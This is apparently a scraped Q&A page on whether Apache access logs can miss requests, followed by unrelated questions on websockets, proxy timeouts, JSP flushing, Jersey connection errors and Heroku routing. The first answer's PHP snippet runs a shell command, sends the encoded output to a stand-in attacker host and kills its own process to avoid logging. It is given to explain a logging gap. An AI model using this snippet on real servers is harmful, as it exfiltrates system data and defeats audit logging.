My workplace has Apache in-front of various Java application servers. I often have to investigate production issues and rely on those Apache Access Logs recording all requests to the application servers, whether they are successful (200), redirects(302), errors (500) or some other status.
A couple of times however, normally when an application server has become unresponsive and required a restart, it looks like maybe some requests have not been logged.
I have tried reproducing this locally (start a long running request and either allow the request to exceed the timeout on the Apache server or just kill the application server from the command-line) but I always get a request logged in the access logs.
My question is, assuming Apache is running fine but faced with an application server problem, would the Apache access logs ever miss a request?
It can miss requests in some cases, docs contain important sentence:
The server access log records all requests processed by the server.
So if request is not processed, then we should not expect entry in access_log. If you wonder if such situation can be easily reproduced, then I found a way to do it.
Consider following PHP code (test.php):
<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());
Also you have to run Apache with prefork MPM and mod_php module. Then make request with browser or telnet:
$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0
Connection closed by foreign host.
As you can see, connection is closed without any response. Also there are no logs in access_log nor error_log, despite code was executed and attacker received encoded result of command uname -a.
Related
I have a Windows application (written in Java) that connects to the server (spring + httpd) via websockets. Another websocket connection is established as soon as a user authenticates to the same server from a web browser. If server notice that both clients have same IP address, it "pairs" them so both applications can talk with each other.
The challenge I'm facing currently is that when multiple Windows application are starting up, all of them establish new websocket connections that exceeds httpd limitation of 255 active connections and the server goes down.
I'm looking for some feasible solution that would not overwhelm the server. A perfect scenario: a user logs into the system using a web browser, the server tries to connect the Windows application running on a clients machine afterwards and everyone is happy.
Have you any idea how to achieve it?
What I've tried already is to not create a new websocket connection on the Windows application startup but send a GET request to the request to the server and wait for the response that will occur after authenticating a user from a web browser. Hanging GET requests still need resources and httpd keeps a separate process for each of them. Also, it turned out that httpd has a 5 minutes timeout for hanging requests and sends 502 back after reaching it out.
I thought that maybe it is possible to handle GET requests in Spring by only one process / thread, but I haven't found any info for that.
Another limitation worth noting is that the Windows application runs on customer machines and customer's security policy may not allow for any wise tricks.
I have the following setup:
curl >> NGINX >> Java Client >> ELB >> NGINX >> Java Server
Regular requets work as expected, requests over 60s fail with a SocketTimeoutException: Read timed out. I tried to debug step by step:
Server responds with 200 and takes around 100s
Nginx in front of the server logs 499 (client stopped connection)
Java Client and the Nginx log 400: SocketTimeoutException: Read timed out
I tried reducing the proxy_read_limit of both Nginx which led to a 504 Gateway timeout. The ELB a limit of 240 seconds.
I don't have access to the Client application as it is a .jar, is it safe to assume the problem is a timeout setting within the .jar and thus I can't solve the issue on my own?
Also I have trouble understanding who exactly is the client in this scenario.
Yes it does sound like the timeout setting within "Java Client" is set to less than 100s. If the client is well written, you may be able to change the timeout parameter through parameters or config files. It's impossible to say more without knowing the details.
You may be able to work around the problem by making the server send "dummy" packets that makes the connection appear active to the client.
I am using out.flush() in a jsp to update regularly the results of some execution in the browser. It is a long execution, about 10 minutes, and I don't want the browser to look like it is waiting forever. (It also avoids timeout errors).
It works fine, when connecting directly to tomcat port, but when I go through an apache web server it is not working (it is probably because the flush now is sent to the web server and the web server doesn't flush until some buffer is filled).
Any idea how could I achieve the same result I was having connecting to tomcat port, but going throufh a web server?
I'm looking for a simple solution (if possible), I mean not ajax or launching a new thread in tomcat and then refreshing the browser regularly, as they will imply a lot of changes.
thanks in advance.
There's a configuration parameter in the mod_jk plugin that addresses this problem.
The option is : JkOptions +FlushPackets
Having this option set, Apache web server will flush anything that it receives from Tomcat.
Increase the Apache timeout to 10min?
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 600
I looked for solutions on SO for this but none of them seem to apply to my case. So here goes:
I have an application that needs to make a service call to a third party domain. I am using jersey client to make this service call. The code for making this call is
ClientResponse resp = resourceWithParams.
header("Authorization", getAccessKeyId() + ":" +
hmacSha1.toUpperCase()).
post(ClientResponse.class,"");
where resourceWithParams is the jersey web resource. Note that even though its is a POST, the web service is expecting a query string and empty body. It might be questionable design but that is what we have to work with.
This setup is working just fine on my local machine as well as on our preprod server. However on our production servers it gives an exception:
com.sun.jersey.api.client.ClientHandlerException: java.net.ConnectException: Connection refused
There are a couple of points below that might be helpful in pointing me in the right direction:
1) We get a valid response when we use curl on the prod server command line to send a request to the web service so seems like there are no firewall issues. This is happening only when we try it through the web application, i.e. through the java code using jersey client.
2) There are no proxies set up on the prod servers
3) Works fine from localhost.
4) The Rest webservice uses https and the correct certificates are installed on our server which is proved by the fact that curling the webservice on prod works fine.
Any ideas on what the issue might be and where we should start looking?
EDIT:
As mentioned we were using https to connect to the webservice. If we use http instead, it does seem to be working.
I suggest you set up a tcpdump session to see where the connection refused is coming from. In particular, see what the source IP and destination IP addresses are, for both the successful connections and the unsuccessful ones.
There are two possibilities the above is designed to test for:
You say you're not using proxy servers, but Java actually has a separate proxy configuration from the rest of the system, so it may be that your Java is configured to use a non-functional proxy server.
Your Java system could be sending requests using a different source IP address to the one that your curl is using.
I am working on a project
1.which requires several processes to be listening for requests on unique ports(possibly on multiple hosts)
2.Every process is meant to serve a unique client
3.The clients should connect to there respective server process using client_id.domainname.com as the identifier / end point.
Ex:
requests coming to
client_id_1.domainname.com:FIXED_PORT should go to host_1:port_1
client_id_2.domainname.com:FIXED_PORT should go to host_2:port_2
etc..
[Edited for clarification : the port number with which client will access should be fixed.Only the client_id would change with change in client]
4.[Edited(had missed this point)]. The mapping needs to be dynamic/modifiable .Example if one the processes die ,another has to be brought up which might not be on the same port
I have tried the following approaches(using java)
1.implemented tcp server,and tried using tcp portforwarding using http://code.google.com/p/portforward/ and other similar stuff that i found by searching.The problem is this uses InetAddress which does not have the request uri(to get the client id using subdomain from uri)
2.implemented server processes as Servlets in embedded jetty.This is fine only for GET requests. GET requests can be redirected to specific server using
httpServletResonse.sendRedirect("http://host_1:port_1")
for POST we have RequestDispatcher which ultimately resuls in a GET.It seems that the HTTP specification doesnt allow a redirect with POST.
I also found this Calling the doPost in another Webapp with a Req Dispatcher forward which suggests to to fire a POST request yourself programmatically.(I havent still worked on this approach yet)
I hope there is a solution for this.
I might be highly oversimplifying, but I think this is similar to what HEROKU does.They also have backend processes(dynos) which run on different ports(i am not sure about this).They are matched with incoming requests based on the app-name.The following discusses
http://www.quora.com/Scalability/How-does-Heroku-work but this question is not answered.
I have been stuck for quite sometime on this.I would be realy thankful for your help.
This is not possible on the Heroku stack as it only supports the standard HTTP and HTTPS ports (80 & 443). When you spin up your process the port that the service is connected on is dictated by the Heroku infrastructure (See $PORT and Procfiles).
Trying to do anything that doesn't fit this model is not really going to work until they support more ports.